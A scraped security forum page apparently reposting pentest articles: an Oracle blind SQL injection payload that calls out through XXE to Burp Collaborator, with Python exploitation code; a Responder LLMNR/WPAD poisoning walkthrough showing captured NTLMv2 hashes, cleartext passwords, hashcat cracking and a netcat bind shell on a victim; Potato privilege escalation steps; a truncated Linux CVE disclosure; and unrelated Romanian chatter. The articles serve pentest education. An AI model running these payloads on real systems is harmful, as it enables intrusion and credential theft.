Beyond detection: exploiting blind SQL injections with Burp Collaborator January 3, 2017 It’s been a steady trend that most of our pentest projects revolve around web applications and/or involve database backends. The former part is usually made much easier by Burp Suite, which has a built-in scanner capable of identifying (among others) injections regarding latter. However, detection is only half of the work needed to be done; a good pentester will use a SQL injection or similar database-related security hole to widen the coverage of the test (obviously within the project scope). Burp continually improves its scanning engine but provides no means to this further exploitation of these vulnerabilities, so in addition to manual testing, most pentesters use standalone tools. With the new features available since Burp Suite 1.7.09, we’ve found a way to combine the unique talents of Burp with our database exploitation framework, resulting in pretty interesting functionality. Many servers – including web applications and custom application APIs – make use of database backends, usually manipulated through the use of SQL. SQL injections were part of this game since the beginning, and although there are some specialized tools for exploiting such vulnerabilities, we found that sometimes simpler tools result in more productivity, thus Duncan was born, making exploiting SQL injection easier in many cases. This includes cases when the response from the server can be interpreted as two distinct values or some side channel (usually timing) must be used – this is usually called blind and time-based SQL-injection, respectively. However, there are other side channels as well, which were not as widely used. When PortSwigger announced Burp Collaborator in April 2015, it was a game changer, since it made detecting out-of-band interactions possible. It did so by running several servers (DNS, HTTP, HTTPS, and later SMTP, IMAP and POP3) under its own domain and inserting unique subdomains (such as rvqhg498gxa339ere9i1lby1dsji77.burpcollaborator.net) into the payloads sent to the server and monitoring the aforementioned servers for any requests that refer to these subdomains. This makes for a much faster side channel than timing (and when delays cannot be introduced, this is the only side channel), so a few months later the Scanner engine started using it as well. I made an inquiry about the possibility of 3rd party tools making use of Collaborator in May 2016, and they already hinted in their response to opening it to developers. In October, they kept their promise and finally added an official Collaborator API. However, this API is only available within Burp, and Duncan was not something I wanted to port to fit inside Burp – even though Burp supports plugins written in Python and Ruby, these use Jython and JRuby, which might lead to some unexpected complications. So I set out to create a universal extension that would create a bridge between the Burp Collaborator and any external program. Since Burp runs on multiple platforms, and such a bridge is useful only if it can be easily called from multiple programming languages, I decided to use MessagePack over TCP – for security reasons, it binds to localhost only on port 8452. The GitHub repository contains source code for the Burp Extender written in plain Java (2 simple classes), source code for a minimal example client in Python, and the full textual description of the protocol in the README file. Although compiling the code is pretty straightforward, a compiled JAR file can be downloaded from the releases page on GitHub. Right now it has no GUI, it binds to the hardcoded port – however, it’s MIT licensed, so pull requests are welcome. With this tool in hand, Oracle exploitation can be made much easier. As the Oracle page in our long-time reference by pentestmonkey describes, time-based injection is not that easy in Oracle, as DBMS_LOCK.SLEEP can’t be embedded into SELECT statements, other solutions require UTL_INADDR, URL_HTTP and similar. However, as Burp developers wrote, “they all require assorted privileges that we might not have”. Nevertheless, this same blog post also described an XXE vulnerability in Oracle that could be abused as a side channel when combined with Collaborator. With these in hand, the following Duncan class could be constructed: tpl = """'||(SELECT CASE WHEN ASCII(SUBSTR(({s._query}),{s._pos},1))<{guess} \ THEN extractValue(XMLType('<?xml version="1.0" encoding="UTF-8"?>\ <!DOCTYPE poc [ <!ENTITY % s2 SYSTEM "http://{payload}/">%s2;]>'),'/l') \ ELSE '' END FROM dual)||'""" class OracleDuncan(duncan.Duncan): def decide(self, guess): c = Client() payload = c.generate_payload(include_location=True) requests.post(url, data={'q': tpl.format(s=self, guess=guess, payload=payload)}, allow_redirects=False) return c.fetch_collaborator_interactions_for(payload) The template takes the guess in Duncan and based on whether it evaluates to true or false, it invokes an XML operation that signals the Collaborator if and only if the expression was true. The Client class comes from the Python example client, url contains the target web application, and data is sent in the parameter named q within the URL-encoded POST body. Since the Duncan framework that calls the decide method only tests whether the return value is “truthy”, we can return the list of collaborator interactions directly, since a list in Python is considered “truthy” if and only if it’s not empty – which in this case means that there was at least one Collaborator interaction with the unique payload used in the injected XML. This method is not only faster than traditional time-based exploitation (which involves intentional delays on the server), but also allows for multithreaded operations, as all requests are independent with their unique tokens in the payload. Below is an example using Duncan with the above class to extract the name of the database user. $ time python run_duncan.py --query 'SELECT user FROM dual' \ --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \ --use poc.OracleDuncan --threads 1 VSZA 5,33s user 0,03s system 27% cpu 19,518 total $ time python run_duncan.py --query 'SELECT user FROM dual' \ --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \ --use poc.OracleDuncan --threads 2 VSZA 5,50s user 0,04s system 38% cpu 14,459 total $ time python run_duncan.py --query 'SELECT user FROM dual' \ --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \ --use poc.OracleDuncan --threads 5 VSZA 5,54s user 0,07s system 50% cpu 11,165 total As it can be seen above, 2 threads improved the runtime by 25%, while 5 threads resulted in a more than 40% improvement over the single-threaded version. In the test setup, raising the number of threads above 5 did not result in any measurable speedup, however, this could be attributed to the nature of the test service. We hope that releasing our Burp Extender plugin will enable bridging other great tools with Collaborator, thus resulting in successful exploitation in cases where a vulnerability was previously thought to be only exploitable by traditional blind techniques, widening the coverage of the pentest. Happy hacking! Thanks to József Marton for providing an Oracle Database account for this post. Sursa: https://blog.silentsignal.eu/2017/01/03/beyond-detection-exploiting-blind-sql-injections-with-burp-collaborator/

What is LLMNR & WPAD and How to Abuse Them During Pentest ? December 20, 2016 Mucahit Karadag In internal penetration tests, we simulate attacks that can be performed against on misconfigured services and protocols on network-level.These attacks are mostly caused by the fact that mechanisms such as Address Resolution Protocol (ARP), Dynamic Host Configuration Protocol (DHCP), and Domain Name System (DNS) are not configured properly.One of the most important attacks that can be encountered is undoubtedly Man-in-the-Middle. It allows access to sensitive information by listening to network traffic or manipulating the target to be accessed. Security measures against this attack can be taken on network equipment such as routers and switches. However, due to the inherent weaknesses of some protocols, we can perform the same attack with different methods. For this reason, the main theme of this article will be Man-in-the-Middle attacks against LLMNR, NetBIOS and WPAD mechanisms. Before begin, I would like to explain how the computers have Windows operating system communicate with each other in the same network and perform name resolution. This process proceed with some steps as follows: Hosts file in the file system is checked In its configuration files, inquires about the system information that it wants to reach. At the same time, it checks whether the device to accessed is itself. Configuration files are located in C:\Windows\System32\drivers\etc Check the local DNS Cache First of all cache is checked. If the information for the device to be accessed is exists in the cache, this information is used. The DNS cache can be learned with the ipconfig /displaydns command. Send query to DNS If the computer does not find any information from the configuration files about the device that it wants to access, it sends a query to the DNS server on the local network. Send the LLMNR query LLMNR is a protocol that is processed when the DNS server fails in name resolution. Send the NetBIOS-NS query It works in the “Session” layer of OSI Model. NetBIOS is an API, not a protocol, used communicate between Windows operating systems. The NetBIOS name of the computer is the same as the computer name. What is LLMNR and NetBIOS-NS? LLMNR (Link Local Multicast Name Resolution) and NetBIOS-NS (Name Service) are two components that Windows operating systems use for name resolution and communication. LLMNR has been used for the first time with Windows Vista operating system and is seen as the continuation of NetBIOS-NS service. In cases where the DNS server fails in name resolution queries, these two services are continued to name resolution. The LLMNR and NetBIOS-NS services attempt to resolve queries that the DNS server can not answer. In fact, this is the form of cooperation between Windows operating system computers. The LLMNR protocol is served by the link-scope multicast IP address 224.0.0.252 for IPv4 and from FF02:0:0:0:0:0:1:3 for IPv6. It performs own operations via 5355 TCP/UDP port. For example, while trying to ping to test.local that is not on the network, the first query goes to the DNS server. If the DNS server can not resolve this domain name, the query will be redirected to the LLMNR protocol. LLMNR is not an alternative to the DNS protocol; It is an improved solution for situations where DNS queries fail. It is supported by all operating systems marketed after Windows Vista. NetBIOS is an API that the systems in the local network use to communicate with each other. There are three different NetBIOS services. Name Service, it uses UDP 137 port for use for name registration and name resolution. Datagram Distribution Service, it uses UDP 138 port for connectionless communication. Session Service, It performs operations on the TCP 139 port for connection-oriented communication. The LLMNR protocol is used after the unsuccessful DNS query because the name resolution will be applied with the sort I share at the beginning of the article. And then a NetBIOS-NS packet, which is a broadcast query, is included in the traffic. Theoretically, these seemingly innocuous and functional systems have no protection against Man-in-the-Middle attacks on the local network. An attacker can obtain sensitive data such as username and password hash with successful attacks. Capture the NTLMv2 hash by manipulating the traffic Main scenario will be proceed as shown in below graphic: The victim will try to connect to the file sharing system, named filesrvr, which he typed incorrectly. The name resolution, which will be performed with the steps we mentioned earlier, will be questioned on the victim’s computer first. In step 2, because of the DNS Server does not have a corresponding record, the name of the system is sent as LLMNR, NetBIOS-NS query. The attacker listens to network traffic, catches name resolution query. Ze tells to victim that ze is the one who victim look for. (filsrvr) The attacker will listen to the broadcast and respond to all LLMNR and NetBIOS-NS queries. In this way, it is possible to manipulate traffic with a fake session and obtain username and password hashes. There are different tools to do this attack. Responder is developed by SpiderLabs. (We will use this tool.) The llmnr_response is a module in the Metasploit Framework MiTMf We start listening to the network traffic by specifying which network interface will be listened by the responder. root@kali:~# responder -i 10.7.7.31 NBT Name Service/LLMNR Responder 2.0. Please send bugs/comments to: lgaffie@trustwave.com To kill this script hit CRTL-C [+]NBT-NS, LLMNR & MDNS responder started [+]Loading Responder.conf File.. Global Parameters set: Responder is bound to this interface: ALL Challenge set: 1122334455667788 WPAD Proxy Server: False WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} HTTP Server: ON HTTPS Server: ON SMB Server: ON SMB LM support: False Kerberos Server: ON SQL Server: ON FTP Server: ON IMAP Server: ON POP3 Server: ON SMTP Server: ON DNS Server: ON LDAP Server: ON FingerPrint hosts: False Serving Executable via HTTP&WPAD: OFF Always Serving a Specific File via HTTP&WPAD: OFF Our victim attempt to connect filesrvr share And we are getting SMB-NTLMv2 Hash! LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr. [+]SMB-NTLMv2 hash captured from : 10.7.7.30 [+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000 NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER As we know NTLMv2 hashes can not be used directly for attacks Pass the Hash attack. Thus we need to perform password cracking attack in order to get plain-text password from out of captured hash. There are several tools for hash cracking; John the Ripper, Hashcat, Cain&Abel, Hydra etc. We will use hashcat to crack the NTLMv2 hash that we got from Responder. The Responder tool keeps the hash values it detects under the /usr/share/responder directory. root@kali:/usr/share/responder# ls *30* SMB-NTLMv2-Client-10.7.7.30.txt The NTLMv2 hash we obtained is as follows, root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000 Hashcat is an open-source password cracking tool. Besides, it has GPU support. It can detect the hash pattern with the -m parameter. At the end of the command, it will start a brute force attack by using dictionary. root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt Initializing hashcat v2.00 with 4 threads and 32mb segment-size... Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts) Activating quick-digest mode for single-hash with salt tatus [p]ause [r]esume ypass [q]uit => Input.Mode: Dict (/root/dic.txt) Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 6.46M plains, 6.46M words Progress..: 3625424/3625424 (100.00%) Running...: --:--:--:-- Estimated.: --:--:--:-- --- snippet --- ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345. All hashes have been recovered Input.Mode: Dict (/root/dic.txt) Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes) Recovered.: 1/1 hashes, 1/1 salts Speed/sec.: - plains, 1.60M words Progress..: 552916/552915 (100.00%) Running...: 00:00:00:01 Estimated.: > 10 Years Started: Sat Dec 17 23:59:22 2016 Stopped: Sat Dec 17 23:59:25 2016 root@kali:/usr/share/responder# And voila! We get password which is Abcde12345. What is WPAD? Organisations allow employees to access the internets through proxy servers to increase performance, ensure security and track traffic.Users who connected to the corporate network need to know proxy server for specific URL without doing configuration. The Web Proxy Auto-Discovery Protocol (WPAD) is a method used by clients to locate the URL of a configuration file using DHCP and/or DNS discovery methods. Once detection and download of the configuration file is complete, it can be executed to determine the proxy for a specified URL. How WPAD works? The client wants to access the wpad.dat configuration file for proxy configuration. It searches computers named as “wpad” on the local network to find this file. And then following steps are carried out: If the DHCP Server is configured, the client retrieves the wpad.dat file from the DHCP Server (if successful, step 4 is taken) The wpad.corpdomain.com query is sent to the DNS server to find the device that is distributing the Wpad configuration. (If successful, step 4 is taken) Sent LLMNR query for WPAD (if success, go step 4 else proxy can’t be use) Download wpad.dat and use According to the above sequence, DHCP poisoning attack can be done for the first step. DNS poisoning attack can naturally be performed for the second step. But as I pointed out at the beginning of this article, configured network devices prevent these attacks. When a query is made through the LLMNR, this request will go to every client in the network via broadcast. At this point the attacker sends his wpad.dat file to the clients, acting like a wpad server. The important thing is that WPAD protocol is built in Windows operating systems. This configuration can be seen in the LAN Settings Section of the Internet Explorer browser. With this configuration, Internet Explorer makes a WPAD name resolution query on the whole network. Abusing WPAD Responder is a great utility for MiTM attack. Responder serves a fake WPAD Server and responds to clients’ WPAD name resolution. The client then requests the wpad.dat file from this fake WPAD Server. Responder creates an authentication screen and asks clients to enter the username and password they use in the domain. Naturally, employees write usernames and passwords used in the domain name. Finally, we can see their username and passwords. Using Responder tool is really simple. root@kali:~# git clone https://github.com/SpiderLabs/Responder.git Cloning into 'Responder'... remote: Counting objects: 886, done. remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886 Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done. Resolving deltas: 100% (577/577), done. Checking connectivity... done. I set up the following systems in order to simulate this attack. Now, we serve the fake HTTP Server and wait for clear-text passwords. root@kali:~/Responder# python Responder.py -I eth0 -wFb --- snippet --- [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [ON] Force Basic Auth [ON] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [10.7.7.31] Challenge set [1122334455667788] [+] Listening for events... And our victim will see the following dialog box and naturally type the username and password. And clear-text password is in below: root@kali:~/Responder# python Responder.py -I eth0 -wFb --- snippet --- [+] Listening for events... [*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector) [*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector) [HTTP] Basic Client : 10.7.7.30 [HTTP] Basic Username : PENTESTLAB\roland [HTTP] Basic Password : secr3tPassw0rd123! [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [SMB] NTLMv2-SSP Client : 10.7.7.30 [SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator [SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000 [SMB] Requested Share : \\RESPPROXYSRV\IPC$ [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [*] Skipping previously captured hash for PENTESTLAB\Administrator [SMB] Requested Share : \\RESPPROXYSRV\PICTURES [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [*] Skipping previously captured hash for PENTESTLAB\Administrator [SMB] Requested Share : \\RESPPROXYSRV\PICTURES [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [*] Skipping previously captured hash for PENTESTLAB\Administrator [SMB] Requested Share : \\RESPPROXYSRV\PICTURES [*] Skipping previously captured hash for PENTESTLAB\roland Backdoor with Responder The responder is not only MiTM attack for the WPAD service. It can force victims to downloadinga malicious files by directing ze to a fake web page. Social engineering can be used to realistically prepare the web page to be used for this attack. However, the Responder itself has a fake redirect page as well. All we need to do is make a few changes to the responder.conf file. We set “Serve-HTML” and “Serve-EXE” parameters to “On”. [HTTP Server] ; Set to On to always serve the custom EXE Serve-Always = On ; Set to On to replace any requested .exe with the custom EXE Serve-Exe = On ; Set to On to serve the custom HTML if the URL does not contain .exe ; Set to Off to inject the 'HTMLToInject' in web pages instead Serve-Html = On And we’re starting to run the Responder again. root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On Now, when the victim tries to go out to the internet, ze will only see the following page. And by chance, the victim clicks on the Proxy Client connection and Bind downloads the CMD Shell, so we can connect to the victim’s 140 connection point with netcat. root@kali:~/Responder# nc 10.7.7.30 140 -vv 10.7.7.30: inverse host lookup failed: Host name lookup failure (UNKNOWN) [10.7.7.30] 140 (?) open | | | /\ | /\ //\. .//\ //\ . //\ / ( )/ \ Welcome To Spider Shell! ipconfig Microsoft Windows [Version 6.1.7601] (c) 2009 Microsoft Corporation. All Rights reserved. C:\Users\Roland\Desktop>ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet: Connection-spesific DNS Suffix . : PENTESTLAB.local IPv4 Address . . . . . . . . . . . : 10.7.7.30 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.7.7.1 Mitigations against WPAD First solution for this attack is, create DNS entry with “WPAD” that points to the corporate proxy server. So the attacker won’t be able to manipulate the traffic. Second solution is disable “Autodetect Proxy Settings” on all Internet Explorers with Group Policy. References https://en.wikipedia.org/wiki/NT_LAN_Manager https://github.com/SpiderLabs/Responder https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning https://www.us-cert.gov/ncas/alerts/TA16-144A Sursa: https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

Ultrasound Tracking Could Be Used to Deanonymize Tor Users By Catalin Cimpanu January 3, 2017 Ultrasounds emitted by ads or JavaScript code hidden on a page accessed through the Tor Browser can deanonymize Tor users by making nearby phones or computers send identity beacons back to advertisers, data which contains sensitive information that state-sponsored actors can easily obtain via a subpoena. This attack model was brought to light towards the end of 2016 by a team of six researchers, who presented their findings at the Black Hat Europe 2016 security conference in November and the 33rd Chaos Communication Congress held last week. Attack relies on ultrasound cross-device tracking (uXDT) Their research focuses on the science of ultrasound cross-device tracking (uXDT), a new technology that started being deployed in modern-day advertising platforms around 2014. uXDT relies on advertisers hiding ultrasounds in their ads. When the ad plays on a TV or radio, or some ad code runs on a mobile or computer, it emits ultrasounds that get picked up by the microphone of nearby laptops, desktops, tablets or smartphones. These second-stage devices, who silently listen in the background, will interpret these ultrasounds, which contain hidden instructions, telling them to ping back to the advertiser's server with details about that device. Advertisers use uXDT in order to link different devices to the same person and create better advertising profiles so to deliver better-targeted ads in the future. Ultrasounds can be reliably used to deanonymize Tor users Speaking at last week's 33rd Chaos Communication Congress, Vasilios Mavroudis, one of the six researchers, detailed a deanonymization attack on Tor users that leaks their real IP and a few other details. The attack that the research team put together relies on tricking a Tor user into accessing a web page that contains ads that emit ultrasounds or accessing a page that contains hidden JavaScript code that forces the browser to emit the ultrasounds via the HTML5 Audio API. If the Tor user has his phone somewhere nearby and if certain types of apps are on his phone, then his mobile device will ping back one or more advertisers with details about his device, so the advertiser can build an advertising profile on the user, linking his computer with his phone. According to Mavroudis, the mobile phone must have an app installed that has embedded one of the many advertising SDKs that include support for uXDT. At this stage, the state-sponsored actor can simply subpoena a short list of advertisers that engage in this practice and get details about the user's real-world identity. In tests carried out by Mavroudis, the researcher has intercepted some of the traffic these ultrasound beacons trigger on behalf of the phone, traffic which contains details such as the user's real IP address, geo-location coordinates, telephone number, Android ID, IMEI code, and device MAC address. Multiple ways to deliver the attack According to Mavroudis, there are multiple ways to deliver these attacks other than social-engineering Tor users to access certain URLs, where these ultrasound beacons can be served. Researchers say that an attacker can use XSS (cross-site scripting) vulnerabilities to inject the malicious JavaScript code on websites that contain XSS flaws. Similarly, the attackers could also run a malicious Tor exit node and perform a Man-in-the-Middle attack, forcibly injecting the malicious code that triggers uDXT beacons in all Tor traffic going through that Tor node. A simpler attack method would also be to hide the ultrasounds, which are inaudible to human ears, inside videos or audio files that certain Tor users might be opening. The FBI might be very interested in this method and could deploy it to track viewers of child pornography videos on the Tor network, just like it previously did in Operation Playpen, where it used a Flash exploit. Some mitigations to fight uXDT advertising Currently, the practice of uXDT is not under any regulation. While the FTC is currently evaluating the impact of uXDT ads, the research team has proposed a series of mitigations that could restrict the free reign this type of advertising currently enjoys. First and foremost, the team created a Chrome browser extension named SilverDog that filters all the HTML5 audio played through the browser and removes ultrasounds. Unfortunately, this extension doesn't work with sounds played back via Flash, and can't protect Tor Browser users, a browser based on Firefox. The researchers also propose a medium-term solution such as the introduction of a new query in the Android permissions model that explicitly informs users that an app might listen to ultrasounds. This permission would allow users to revoke or deny this right from existing or new Android apps they're installing on their smartphone. For long-term solutions, the research team advocates for a standardized format for these ultrasound advertising beacons, and OS-level APIs for discovering and managing ultrasound beacons. Below is Mavroudis presenting his findings at the 33rd Chaos Communication Congress held last week in Germany. Sursa: https://www.bleepingcomputer.com/news/security/ultrasound-tracking-could-be-used-to-deanonymize-tor-users/

Potato Privilege Escalation on Windows 7,8,10, Server 2008, Server 2012 How it works Potato takes advantage of known issues in Windows to gain local privilege escalation, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing. Using the techniques outlined below, it is possible for an unprivileged user to gain "NT AUTHORITY\SYSYTEM" level access to a Windows host in default configurations. The exploit consists of 3 main parts, all of which are somewhat configurable through command-line switches: 1. Local NBNS Spoofer NBNS is a broadcast UDP protocol for name resolution commonly used in Windows environments. In penetration testing, we often sniff network traffic and respond to NBNS queries observed on a local network. For privilege escalation purposes, we can't assume that we are able to sniff network traffic, so how can we accomplish NBNS spoofing? If we can know ahead of time which host a target machine (in this case our target is 127.0.0.1) will be sending an NBNS query for, we can craft a response and flood the target host with NBNS responses (since it is a UDP protocol). One complication is that a 2-byte field in the NBNS packet, the TXID, must match in the request and response. We can overcome this by flooding quickly and iterating over all 65536 possible values. What if the host we are trying to spoof has a DNS record already? Well we can FORCE DNS lookups to fail in a funny way. Using a technique called "port exhaustion" we bind to every single UDP port. When you try to perform a DNS lookup it will fail because there will be no available source port for the DNS reply to come to. In testing, this has proved to be 100% effective. 2. Fake WPAD Proxy Server With the ability to spoof NBNS responses, we can target our NBNS spoofer at 127.0.0.1. We flood the target machine (our own machine) with NBNS response packets for the host "WPAD", or "WPAD.DOMAIN.TLD", and we say that the WPAD host has IP address 127.0.0.1. At the same time, we run an HTTP server locally on 127.0.0.1. When it receives a request for "http://wpad/wpad.dat", it responds with something like the following: FindProxyForURL(url,host){ if (dnsDomainIs(host, "localhost")) return "DIRECT"; return "PROXY 127.0.0.1:80";} This will cause all HTTP traffic on the target to be redirected through our server running on 127.0.0.1. Interestingly, this attack when performed by even a low privilege user will affect all users of the machine. This includes administrators, and system accounts. See the screenshots "egoldstein_spoofing.png" and "dade_spoofed.png" for an example. 3. HTTP -> SMB NTLM Relay With all HTTP traffic now flowing through a server that we control, we can do things like request NTLM authentication... In the Potato exploit, all requests are redirected with a 302 redirect to "http://localhost/GETHASHESxxxxx", where xxxxx is some unique identifier. Requests to "http://localhost/GETHASHESxxxxx" respond with a 401 request for NTLM authentication. The NTLM credentials are relayed to the local SMB listener to create a new system service that runs a user-defined command. This command will run with "NT AUTHORITY\SYSTEM" privilege. Link: https://github.com/foxglovesec/Potato

PHP Secure Configuration Checker Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. Author This software was written by Ben Fuhrmannek, SektionEins GmbH, in an effort to automate php.ini checks and spend more time on cheerful tasks. Link: https://github.com/sektioneins/pcc

Apropo, la chinezesti e posibil ca toate datele personale (contacte, SMS-uri etc) sa ajunga la chinezi. Bine, si la romanesti, sa ajunga la ai nostri Da, ramai la chinezesi, cel putin aia nu stiu sa le citeasca

Le-am luat acum un an cred, pe langa faptul ca lor li se pare OK, si mie mi se pare ca e OK.

Am luat alor mei un AllView P5 Quad si isi face treaba super bine. Merge mai bine ca Galaxy S4-ul pe care il aveam in trecut.

Terminati cu prostiile, daca vreti ceva ieftin si OK, luati AllView.

Live: https://streaming.media.ccc.de/33c3 Schedule: https://fahrplan.events.ccc.de/congress/2016/Fahrplan/schedule.html Videos: https://media.ccc.de/c/33c3

Forta

Nationalist.

Fanii nostri (vezi nr inmatriculare): https://www.facebook.com/vladimir.enachescu/posts/10154846666986663

Acum ceva timp, a fost organizat un protest impotriva ACTA https://ro.wikipedia.org/wiki/Acordul_comercial_de_combatere_a_contrafacerii Pe Facebook au anuntat ca vor fi 40.000. In Piata Universitatii am fost 400. A, da, ningea afara si era cam frig, acasa pe Facebook e cald.

Informativ, dar stiati deja: http://www.digi24.ro/stiri/actualitate/politica/alegeri-parlamentare-2016/votul-incertitudinii-ce-alegeri-au-fost-astazi-prezidentiale-630145

Mergeti la vot.

Forta GovITHub, muie Dragnea!

Linus a spus de mai multe ori ca pe el il intereseaza mai mult ca Linux sa fie stabil, nu sigur. Cu alte cuvinte, e de preferat sa nu iei PANIC in locul a mai putine LOCAL privilege escalation.

Sugestia mea e sa te gandesti mai bine la viitorul tau pe termen lung. Poti face multe cu programarea. Pentru Linux, instaleaza-ti o versiune si joaca-te cu ea. Exista o gramada de tutoriale despre orice, dar poti incepe cu ce a spus aelius.

CVE-2016-8655 Linux af_packet.c race condition (local root) From: Philip Pettersson <philip.pettersson () gmail com> Date: Tue, 6 Dec 2016 11:50:57 +0900 Hello, This is an announcement about CVE-2016-8655 which is a race-condition I found in Linux (net/packet/af_packet.c). It can be exploited to gain kernel code execution from unprivileged processes. The bug was introduced on Aug 19, 2011: https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a Fixed on Nov 30, 2016: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c =*=*=*=*=*=*=*=*= BUG DETAILS =*=*=*=*=*=*=*=*= To create AF_PACKET sockets you need CAP_NET_RAW in your network namespace, which can be acquired by unprivileged processes on systems where unprivileged namespaces are enabled (Ubuntu, Fedora, etc). It can be triggered from within containers to compromise the host kernel. On Android, processes with gid=3004/AID_NET_RAW are able to create AF_PACKET sockets (mediaserver) and can trigger the bug. I found the bug by reading code paths that have been opened up by the emergence of unprivileged namespaces, something I think should be off by default in all Linux distributions given its history of security vulnerabilities. The problem is inside packet_set_ring() and packet_setsockopt(). We can reach packet_set_ring() by calling setsockopt() on the socket using the PACKET_RX_RING option. If the version of the packet socket is TPACKET_V3, a timer_list object will be initialized by packet_set_ring() when it calls init_prb_bdqc(). ... switch (po->tp_version) { case TPACKET_V3: /* Transmit path is not supported. We checked * it above but just being paranoid */ if (!tx_ring) init_prb_bdqc(po, rb, pg_vec, req_u); break; default: break; } ... The function flow to set up the timer is: packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()-> prb_init_blk_timer()->prb_init_blk_timer()->init_timer() When the socket is closed, packet_set_ring() is called again to free the ring buffer and delete the previously initialized timer if the packet version is > TPACKET_V2: ... if (closing && (po->tp_version > TPACKET_V2)) { /* Because we don't support block-based V3 on tx-ring */ if (!tx_ring) prb_shutdown_retire_blk_timer(po, rb_queue); } ... The issue is that we can change the packet version to TPACKET_V1 with packet_setsockopt() after init_prb_bdqc() has been executed and before packet_set_ring() has returned. There is an attempt to deny changing socket versions after a ring buffer has been initialized, but it is insufficient: ... case PACKET_VERSION: { ... if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) return -EBUSY; ... There's plenty of room to race this code path between the calls to init_prb_bdqc() and swap(rb->pg_vec, pg_vec) in packet_set_ring(). When the socket is closed, packet_set_ring() will not delete the timer since the socket version is now TPACKET_V1. The struct timer_list that describes the timer object is located inside the struct packet_sock for the socket itself however and will be freed with a call to kfree(). We then have a use-after-free on a timer object that can be exploited by various poisoning attacks on the SLAB allocator (I find add_key() to be the most reliable). This will ultimately lead to the kernel jumping to a manipulated function pointer when the timer expires. The bug is 